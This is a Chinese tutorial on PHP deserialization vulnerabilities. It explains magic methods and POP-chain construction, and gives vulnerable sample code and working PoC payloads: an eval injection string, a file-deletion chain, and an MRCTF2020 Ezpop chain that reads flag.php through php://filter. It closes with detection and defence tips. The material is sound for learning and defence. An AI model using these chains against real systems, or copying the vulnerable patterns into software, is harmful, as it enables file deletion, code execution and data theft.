反序列化漏洞详解
字数 1531 2025-08-15 21:33:50

PHP反序列化漏洞详解

一、序列化与反序列化基础

1. 基本概念

序列化:将对象的状态信息转换为可以存储或传输的形式的过程。在PHP中,使用serialize()函数实现。

反序列化:把字节序列恢复为对象的过程。在PHP中,使用unserialize()函数实现。

2. PHP中的序列化示例

class test{
    public $id = 'Baize';
    public $name = 'Sec';
}

$test1 = new test();
$test2 = serialize($test1);
print_r($test2);

输出结果:

O:4:"test":2:{s:2:"id";s:5:"Baize";s:4:"name";s:3:"Sec";}

二、PHP魔术方法

魔术方法是PHP中特殊的方法,会在特定条件下自动调用:

魔术方法 触发条件
__construct() 创建对象时触发
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 对象被销毁时触发
__toString() 类被当成字符串使用时触发
__invoke() 以调用函数的方式调用对象时触发
__call() 调用不可访问的方法时触发
__callStatic() 静态调用不可访问的方法时触发
__get() 从不可访问的属性读取数据时触发
__set() 向不可访问的属性写入数据时触发
__isset() 对不可访问的属性调用isset()empty()时触发
__unset() 对不可访问的属性使用unset()时触发

三、反序列化漏洞原理

1. 基本漏洞条件

  • 存在unserialize()操作
  • 反序列化的参数用户可控
  • 魔术方法中存在敏感操作(如eval()、文件操作等)

2. 简单漏洞示例

class test{
    var $id = 'Baize';
    function __wakeup(){
        eval($this->id);
    }
}

$test1 = $_GET['string'];
$test2 = unserialize($test1);

利用方式
构造序列化字符串:

O:4:"test":1:{s:2:"id";s:10:"phpinfo();"}

四、POP链构造

1. POP链概念

POP (Property-Oriented Programming)链是通过一系列对象属性和方法调用,将反序列化操作与敏感操作连接起来的技术。

基本思路
用户可控反序列化 → 魔术方法 → 魔术方法中调用的其他函数 → 同名函数或通过传递可调用的函数 → 敏感操作

2. 实例解析1:文件删除漏洞

源码

class Test1{
    protected $obj;
    
    function __construct(){
        $this->obj = new Test3;
    }
    
    function __toString(){
        if (isset($this->obj)) return $this->obj->Delete();
    }
}

class Test2{
    public $cache_file;
    
    function Delete(){
        $file = "/var/www/html/cache/tmp/{$this->cache_file}";
        if (file_exists($file)){
            @unlink($file);
        }
        return 'I am a evil Delete function';
    }
}

class Test3{
    function Delete(){
        return 'I am a safe Delete function';
    }
}

$user_data = unserialize($_GET['data']);
echo $user_data;

POP链构造

  1. 通过echo触发__toString()
  2. 修改Test1中的$objTest2实例
  3. 调用Test2中的Delete()方法实现文件删除

POC

class Test1{
    protected $obj;
    function __construct(){
        $this->obj = new Test2;
    }
}

class Test2{
    public $cache_file = 'test.php';
}

$evil = new Test1();
echo urlencode(serialize($evil));

3. 实例解析2:[MRCTF2020]Ezpop

源码

class Modifier {
    protected $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}

POP链构造

  1. Show::__construct()设置$source为Show实例
  2. Show::__wakeup()中的preg_match触发__toString()
  3. Show::__toString()访问$str->source触发Test::__get()
  4. Test::__get()以函数方式调用$p触发Modifier::__invoke()
  5. Modifier::__invoke()调用append()实现文件包含

POC

class Modifier {
    protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
    }
}

class Test{
    public $p;
}

$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

五、漏洞检测与防御

1. 漏洞检测方法

  • 审计源码,寻找unserialize()操作
  • 检查参数是否用户可控
  • 寻找可利用的POP链
  • 检查魔术方法中是否存在敏感操作

2. 防御措施

  • 避免反序列化用户可控数据
  • 使用json_encode()json_decode()替代序列化
  • 对反序列化数据进行严格校验
  • 使用__wakeup()__destruct()方法进行安全检查
  • 限制敏感函数的调用
PHP反序列化漏洞详解 一、序列化与反序列化基础 1. 基本概念 序列化 :将对象的状态信息转换为可以存储或传输的形式的过程。在PHP中,使用 serialize() 函数实现。 反序列化 :把字节序列恢复为对象的过程。在PHP中,使用 unserialize() 函数实现。 2. PHP中的序列化示例 输出结果: 二、PHP魔术方法 魔术方法是PHP中特殊的方法,会在特定条件下自动调用: | 魔术方法 | 触发条件 | |---------|---------| | __construct() | 创建对象时触发 | | __sleep() | 使用 serialize() 时自动触发 | | __wakeup() | 使用 unserialize() 时自动触发 | | __destruct() | 对象被销毁时触发 | | __toString() | 类被当成字符串使用时触发 | | __invoke() | 以调用函数的方式调用对象时触发 | | __call() | 调用不可访问的方法时触发 | | __callStatic() | 静态调用不可访问的方法时触发 | | __get() | 从不可访问的属性读取数据时触发 | | __set() | 向不可访问的属性写入数据时触发 | | __isset() | 对不可访问的属性调用 isset() 或 empty() 时触发 | | __unset() | 对不可访问的属性使用 unset() 时触发 | 三、反序列化漏洞原理 1. 基本漏洞条件 存在 unserialize() 操作 反序列化的参数用户可控 魔术方法中存在敏感操作(如 eval() 、文件操作等) 2. 简单漏洞示例 利用方式 : 构造序列化字符串: 四、POP链构造 1. POP链概念 POP (Property-Oriented Programming)链是通过一系列对象属性和方法调用,将反序列化操作与敏感操作连接起来的技术。 基本思路 : 用户可控反序列化 → 魔术方法 → 魔术方法中调用的其他函数 → 同名函数或通过传递可调用的函数 → 敏感操作 2. 实例解析1:文件删除漏洞 源码 : POP链构造 : 通过 echo 触发 __toString() 修改 Test1 中的 $obj 为 Test2 实例 调用 Test2 中的 Delete() 方法实现文件删除 POC : 3. 实例解析2:[ MRCTF2020 ]Ezpop 源码 : POP链构造 : Show::__construct() 设置 $source 为Show实例 Show::__wakeup() 中的 preg_match 触发 __toString() Show::__toString() 访问 $str->source 触发 Test::__get() Test::__get() 以函数方式调用 $p 触发 Modifier::__invoke() Modifier::__invoke() 调用 append() 实现文件包含 POC : 五、漏洞检测与防御 1. 漏洞检测方法 审计源码,寻找 unserialize() 操作 检查参数是否用户可控 寻找可利用的POP链 检查魔术方法中是否存在敏感操作 2. 防御措施 避免反序列化用户可控数据 使用 json_encode() 和 json_decode() 替代序列化 对反序列化数据进行严格校验 使用 __wakeup() 或 __destruct() 方法进行安全检查 限制敏感函数的调用